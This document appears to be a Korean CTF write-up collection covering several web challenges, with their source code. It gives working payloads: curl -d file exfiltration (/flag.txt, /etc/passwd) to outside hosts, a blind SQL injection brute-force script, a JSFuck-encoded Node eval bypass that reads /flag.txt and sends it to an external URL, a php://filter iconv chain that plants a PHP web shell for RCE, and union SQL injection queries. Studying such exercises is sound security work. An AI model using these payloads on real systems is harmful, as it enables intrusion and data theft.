import flask
import os
def escape_shell_cmd(data):
for char in data:
if char in '&#;`|*?~<>^()[]{}$\\':
return False
else:
return True
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.render_template('index.html')
# select * from user where uid = 'asdfasdfasdf' union select 1 --';
@app.route('/api/curl', methods=['POST'])
def curl():
url = flask.request.form.get('ip')
if escape_shell_cmd(url):
command = "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
output = os.popen(command).read().strip()
if 'HTTP' not in output:
return flask.jsonify({'message': 'Error: No response'})
return flask.jsonify({'message': output})
else:
return flask.jsonify({'message': 'Illegal Characters Detected'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)
url 을 입력하면, 해당 url 로 curl 통신을 보내고, 응답값을 알려주는 사이트이다.
command injection 을 하지 못하게 특수문자들을 필터링하고 있다.
flag는 /flag.txt에 담겨있는데, curl 통신의 -d 옵션을 사용하면, 해당 파일 내용을 post 로 담아서 전송이 가능하다.
curl -d @/etc/passwd http://posttestserver.com/post.php
따라서 변수 값을 잘 조정하여 /flag.txt 값을 전송하게 하면 flag 값을 알아 낼 수 있다.
https://hmhhbbm.request.dreamhack.games/ -d %40/flag.txt
@을 url인코딩 처리한 이유는 index.html 에서 url 입력값을 url 객체로 만든 후, /api/curl 로 전송하는데,
@을 url인코딩 처리를 하지 않으면 url 객체 생성시 오류가 발생하여 url 처리를 하였다.
username을 입력하고, username이 데이터 베이스에 존재한다면 메일을 발송하는 문제이다.
username=' or 1 #
이러한 페이로드를 전송하였을때,
{
"res":"exists"
}
username=' and 0 #
이러한 페이로드를 전송하였을때,
{
"res":"not exists"
}
이러한 응답 값이 오는 것을 보아, sqli가 가능함을 알 수 있다.
그러나 직접적인 값은 알 수 없으므로 blind sqli 을 이용해야 한다.
import requests
url = "http://logical.tamuctf.com/api/chpass"
result = ""
for i in range(1, 50):
for c in range(32, 128):
payload = f"admin' and ascii(substr(password,{i},1))={c}#"
res = requests.post(url, data={"username" : payload})
print(payload)
if res.json()["res"] != "not exists":
result += chr(c)
print(result)
break
if len(result) == i-1:
break
print(result)
const path = require('path');
const express = require("express");
const app = express();
const port = 8000;
app.use(express.json());
process.on('uncaughtException', (err, origin) => {
console.log(err);
});
app.get("/", function (req, res) {
res.sendFile(path.join(__dirname+'/static/index.html'));
});
app.post("/", function (req, res) {
var src = req.body['src'];
if (src.match(/[A-Za-z0-9]/) != null) {
res.status(418).end('Bad character detected.');
return;
}
try {
eval(src);
} catch(err) {
res.status(418).end('Error on eval.');
return;
}
res.status(200).send('Success!');
return;
});
app.listen(port, function () {
console.log(`Example app listening on port ${port}!`);
});
값을 입력 한 후, 그 값을 eval 함수에 넣어서 작동 결과를 알려주는 사이트이다.
그러나 정규식이 있어서 일반적인 방법으로는 rce가 불가능 하다.
if (src.match(/[A-Za-z0-9]/) != null) {
res.status(418).end('Bad character detected.');
return;
}
그러나 js에는 기괴한 문법이 있는데…
js fuck은 [, ], !, + 밖에 사용하지 않기 때문에 js fuck을 사용하면 위의 정규식을 우회할 수 있다.
아래 페이로드를 js fuck 인코딩을 한후 전송하면 된다
encoding site : http://www.jsfuck.com/
process.mainModule.require("https").get("https://mxgirfa.request.dreamhack.games/?flag="+process.mainModule.require("fs").readFileSync("/flag.txt").toString())
로그인 기능이 있는 사이트 이다.
page 변수값을 받아서 렌더링 시켜주는데, 이 변수값에 다른 값을 넣으면 아래와 같이
오류가 발생하고, include 함수를 사용한다는 것을 알 수 있다.
그러나 뒤에 .php가 붙기 때문에 플래그 값을 바로 가져 올 수는 없다.
그러나 include 함수는 php://filter를 사용 가능한데, php://filter 를 이용하여서 RCE가 가능하다.
file_to_use = "/var/www/html/index"
command = "ls /"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}&0={command}"
print(final_payload)
Reference : https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
실행 결과 :
include 함수가 존재할때, 매우 강력한 페이로드 인것 같다.
검색 기능이 있는 게시판이고, 글을 보기 위해서는 secret code가 필요한 사이트이다.
search 부분에 별다른 필터링 / 이스케이프 처리가 되어있지 않기 때문에, sqli 이 가능하다.
또한 union 연산자를 사용가능한데, 검색결과가 바로 나타나기 때문에 union을 사용하여 빠르게 원하는 값을 알 수 있다.
컬럼 이름
query=' or 1 union select 1,2,(select column_name from information_schema.columns where table_schema=database() and table_name="articles" limit 5,1),4,5,6 from articles #
secret code 획득
' or 1 union select 1,2,access_code,4,5,6 from articles #